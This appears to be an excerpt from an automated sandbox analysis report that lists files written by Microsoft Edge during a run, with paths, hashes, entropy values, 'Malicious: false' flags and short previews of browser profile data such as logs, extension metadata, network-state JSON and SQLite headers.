SHA1:	F3232EF7FE3F9F805ECFBFF17873E6F9B0CB79EB
SHA-256:	E89CBB954B43C8422AF9516F32260C4F128094228B0747736F46824F7BCD9199
SHA-512:	5A6A138FDEE4009037CACF3B4CD9179162192645F6E5397DB8DF29A040FC0C9A684D21080CF3CF2E5BF02504D22F4BAED43C9C678B118C46DC93C6BF4F52BDBF
Malicious:	false
Preview:	2024/11/24-13:11:38.210 1d54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/24-13:11:38.211 1d54 Recovering log #3.2024/11/24-13:11:38.211 1d54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.223207315780888
Encrypted:	false
SSDEEP:	6:Hsyq2PCHhJ23oH+Tcwt865IFUt8YJ1Zmw+YfRkwOCHhJ23oH+Tcwt86+ULJ:MyvBYeb/WFUt8c/+MR56Yeb/+SJ
MD5:	CD449DAE113D2898C10471FE43751478
SHA1:	1EDE24E30A2EC1164252CD4DF38AE595956399F4
SHA-256:	0CB9D9E797E31A25DAE9716B0D79D19868A0EB5421AEB7AB2975D4E35FDDCBC2
SHA-512:	3487D9F1583E1C1ED8C856FDD067E50B3195AA4146B22A9BCA618048E90E5C48F103D93A1985A775E09B3FB817C8FFB96D9DCCF1BAB5D0646C8536F2FD90E584
Malicious:	false
Preview:	2024/11/24-13:11:38.216 1d54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/24-13:11:38.217 1d54 Recovering log #3.2024/11/24-13:11:38.217 1d54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.223207315780888
Encrypted:	false
SSDEEP:	6:Hsyq2PCHhJ23oH+Tcwt865IFUt8YJ1Zmw+YfRkwOCHhJ23oH+Tcwt86+ULJ:MyvBYeb/WFUt8c/+MR56Yeb/+SJ
MD5:	CD449DAE113D2898C10471FE43751478
SHA1:	1EDE24E30A2EC1164252CD4DF38AE595956399F4
SHA-256:	0CB9D9E797E31A25DAE9716B0D79D19868A0EB5421AEB7AB2975D4E35FDDCBC2
SHA-512:	3487D9F1583E1C1ED8C856FDD067E50B3195AA4146B22A9BCA618048E90E5C48F103D93A1985A775E09B3FB817C8FFB96D9DCCF1BAB5D0646C8536F2FD90E584
Malicious:	false
Preview:	2024/11/24-13:11:38.216 1d54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/24-13:11:38.217 1d54 Recovering log #3.2024/11/24-13:11:38.217 1d54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.198106719580844
Encrypted:	false
SSDEEP:	6:HQNL+q2PCHhJ23oH+Tcwt8NIFUt8YQMK1Zmw+YQMcLVkwOCHhJ23oH+Tcwt8+eLJ:VvBYebpFUt8eK1/+es56YebqJ
MD5:	8C82661B9151EDD84BCDE63A0E50EFDC
SHA1:	F301BA3ACBDBD4EB3435CF7523C46340CF4F3540
SHA-256:	9E9A09B9FC98B6E9AB5F47A3A6D681AC1D3D79E7F92880CCF60037DC4E4C6557
SHA-512:	BA0801A0830444A194D139DA2F4C4214EA8A50B4FFD348568595E5240574530B7C3F51EB375AAC3F6A2F23A898879564A9B3BE79FE61CD2293D756A467033C75
Malicious:	false
Preview:	2024/11/24-13:11:38.789 1ce8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/24-13:11:38.790 1ce8 Recovering log #3.2024/11/24-13:11:38.790 1ce8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.198106719580844
Encrypted:	false
SSDEEP:	6:HQNL+q2PCHhJ23oH+Tcwt8NIFUt8YQMK1Zmw+YQMcLVkwOCHhJ23oH+Tcwt8+eLJ:VvBYebpFUt8eK1/+es56YebqJ
MD5:	8C82661B9151EDD84BCDE63A0E50EFDC
SHA1:	F301BA3ACBDBD4EB3435CF7523C46340CF4F3540
SHA-256:	9E9A09B9FC98B6E9AB5F47A3A6D681AC1D3D79E7F92880CCF60037DC4E4C6557
SHA-512:	BA0801A0830444A194D139DA2F4C4214EA8A50B4FFD348568595E5240574530B7C3F51EB375AAC3F6A2F23A898879564A9B3BE79FE61CD2293D756A467033C75
Malicious:	false
Preview:	2024/11/24-13:11:38.789 1ce8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/24-13:11:38.790 1ce8 Recovering log #3.2024/11/24-13:11:38.790 1ce8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:evtFlljq7A/mhWJFuQ3yy7IOWU1CV4dweytllrE9SFcTp4AGbNCV9RUI6HCn:r75fOvvd0Xi99pEYZ
MD5:	EC80EEE8F33A4920F9E6B28A273BE58B
SHA1:	1B50104AAB6D1F68D7E33772CFA811EF5D5240B0
SHA-256:	5181650B610269537B02EC42D1C165FBE8E0571C2465884FFA9BC58DFEB8FEDA
SHA-512:	329DA5987B8129D8D1BA962405D1F210D56DB00FC2796670930E4E5BDA60EAF00DB84111917662C96BCADA8044A379E664614A771E4D179AB6473EF87CD29709
Malicious:	false
Preview:	............fT.g...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6477932311907564
Encrypted:	false
SSDEEP:	384:aj9P0YJP/KbtRc4773pLRjlfgam6IYhfQkQerIRKToaAu:adJP/747PleoJe2IRKcC
MD5:	B888AC4694460572000DCBC4DD96CBD9
SHA1:	8725AAFDA8343DE6EF51D05F5238AE4F65EBA0EF
SHA-256:	A9923AD0183D9797DF3F59D15DD8121566F1F8779C1431073AD5512F6A881A9D
SHA-512:	1B627DD79EB54313EAF810C1CB46112DE0D0658039254F0DE0808BACBEF9E64391D8140E9A27F37AF767ABE0FA392D3668B920A22F498C807BD82C873DD5F057
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.259838897203633
Encrypted:	false
SSDEEP:	12:xeovBYeb8rcHEZrELFUt8OeT1/+OHHz56Yeb8rcHEZrEZSJ:kaBYeb8nZrExg8dTnl6Yeb8nZrEZe
MD5:	E90A9ED911CBFCA3C0CB5D6321F6EB45
SHA1:	BEA276F606A40A3FA4BFF24454A9151169A02A9A
SHA-256:	E3D5DCA1C0C55EEAFB2FA6B6B2697F9C817C516252156E23AC834F211C59A5D5
SHA-512:	E7C323BDCF5C9BB11F27E767213BE88DBAC308B7107A36C0FE8F3AE100DD592FAF924FDB4A0E187431DFFA8E7FABB23F60408AEC003DAE50E27D790B6FD1C0F0
Malicious:	false
Preview:	2024/11/24-13:11:42.052 1ce8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/24-13:11:42.052 1ce8 Recovering log #3.2024/11/24-13:11:42.053 1ce8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.259838897203633
Encrypted:	false
SSDEEP:	12:xeovBYeb8rcHEZrELFUt8OeT1/+OHHz56Yeb8rcHEZrEZSJ:kaBYeb8nZrExg8dTnl6Yeb8nZrEZe
MD5:	E90A9ED911CBFCA3C0CB5D6321F6EB45
SHA1:	BEA276F606A40A3FA4BFF24454A9151169A02A9A
SHA-256:	E3D5DCA1C0C55EEAFB2FA6B6B2697F9C817C516252156E23AC834F211C59A5D5
SHA-512:	E7C323BDCF5C9BB11F27E767213BE88DBAC308B7107A36C0FE8F3AE100DD592FAF924FDB4A0E187431DFFA8E7FABB23F60408AEC003DAE50E27D790B6FD1C0F0
Malicious:	false
Preview:	2024/11/24-13:11:42.052 1ce8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/24-13:11:42.052 1ce8 Recovering log #3.2024/11/24-13:11:42.053 1ce8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.681866766000498
Encrypted:	false
SSDEEP:	24:GsZWA9t2ld70r5518LwXZ7nW2sFV03y1x4o9MyDWGUlHxkTN5zgFHHmi28/V:GsZ9tcdEjowXZ7W2iV03Sx4ryDr/+HHn
MD5:	C014178392AC14F76BF3B727DF9564A9
SHA1:	16CD1F5BE395528CBFA7D71B50AC46FA8DA3CE65
SHA-256:	07ED5D8C4612CF694134FEF716D43258518475F5A7CEA99B7C407B1078BDBA1B
SHA-512:	076F737192386003DCEF0420A4F16D309D480F7F092EA052A6E0C286E14534E92C98F3C75F5427670B50861A0D8A1D74C50C2A5F7406E2D64DE980CE16F6EBAB
Malicious:	false
Preview:	.;r..................VERSION.1..META:https://ntp.msn.com..............!_https://ntp.msn.com..LastKnownPV..1732471915655.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732471916930.._https://ntp.msn.com..MUID!.1F3CC8AC76826FD52AA3DDED77AB6EB5.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732471915744,"schedule":[-1,-1,38,-1,29,9,-1],"scheduleFixed":[-1,-1,38,-1,29,9,-1],"simpleSchedule":[46,30,29,18,28,22,11]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732471915603.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Sun Nov 24 2024 13:11:55 GMT-0500 (Eastern Standard

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.16758284214391
Encrypted:	false
SSDEEP:	6:HU7a+q2PCHhJ23oH+Tcwt8a2jMGIFUt8YURWZmw+YUBaVkwOCHhJ23oH+Tcwt8as:ka+vBYeb8EFUt87W/+PaV56Yeb8bJ
MD5:	E5048A3DDE1590B21EF8504ECF078057
SHA1:	58B825CE40C7A66B38303577121DC560AF6B399F
SHA-256:	1373ECCA81BC3256E223551CC43D1E2CD7F1BAB645E2CB832E1AD4016857D9DD
SHA-512:	D6FD28A7A34B35699A673D2E86747F5A614D2D3F72E1DAF9A6484D21DD289F16034254378CAC829628209E52F9D891B36716C4A06076D8E770C78984A671340C
Malicious:	false
Preview:	2024/11/24-13:11:38.363 1a3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/24-13:11:38.365 1a3c Recovering log #3.2024/11/24-13:11:38.369 1a3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.16758284214391
Encrypted:	false
SSDEEP:	6:HU7a+q2PCHhJ23oH+Tcwt8a2jMGIFUt8YURWZmw+YUBaVkwOCHhJ23oH+Tcwt8as:ka+vBYeb8EFUt87W/+PaV56Yeb8bJ
MD5:	E5048A3DDE1590B21EF8504ECF078057
SHA1:	58B825CE40C7A66B38303577121DC560AF6B399F
SHA-256:	1373ECCA81BC3256E223551CC43D1E2CD7F1BAB645E2CB832E1AD4016857D9DD
SHA-512:	D6FD28A7A34B35699A673D2E86747F5A614D2D3F72E1DAF9A6484D21DD289F16034254378CAC829628209E52F9D891B36716C4A06076D8E770C78984A671340C
Malicious:	false
Preview:	2024/11/24-13:11:38.363 1a3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/24-13:11:38.365 1a3c Recovering log #3.2024/11/24-13:11:38.369 1a3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4ea46357-67ea-4045-ba82-a347347432d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6052d31c-83b8-4476-97d3-a58ffd9292ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\745799e7-8c8d-461e-af24-d1a8435dcb6c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8e16b6fa-2f4c-4cf4-8b41-b0ca2f40d532.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1747
Entropy (8bit):	5.308542607593101
Encrypted:	false
SSDEEP:	48:YcCpfgCzsptszfcKsFqleeIkBRsFvCgHyYhbc:F2fys6qkeIkB2vTXh4
MD5:	11A48C0204A7F789B5E55084DECC5898
SHA1:	CED375972BF1554F75EBC94B2731F4899F4E4A0F
SHA-256:	6D18F838F7E1BE58B1BD2392F6C4ADFE1B1C2926F3E15F2CF415579B6CD9FCC3
SHA-512:	8D3F9110E06DE22312F918F115090C9B5328E855D2B6505D031D4B03231690DC75FF83C0DCA3A219BF063C9AC9C0BF4B66C2B26811D9EE6406E7266916B2DF0C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379537502664860","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379537506958239","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377039110206760","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.781463957622747
Encrypted:	false
SSDEEP:	192:tTvbiWendgYBfGXYcSSCjUdfbXcf0L/ZJVb:VvbiW6eYJGXYcSnefbXI0LhJVb
MD5:	C1FB15E22D783D66E5481FEE822969FD
SHA1:	D1F72DB8C88E0A4CCF3AD88C8182D4233350538C
SHA-256:	2C3FFAADB6B017FCF7D8FA462F4009E97402AE2B10700305D2E0240B8D0D78EF
SHA-512:	E82886EA47D5114A1347CABFE0595AF666E852630F06021E4C6EA01BF041CF1C62AA968E1E49521D76990C0A723806CB56D6AB392B5DA5E7ED53F0E282101BCA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF3b641.TMP (copy)

Download File

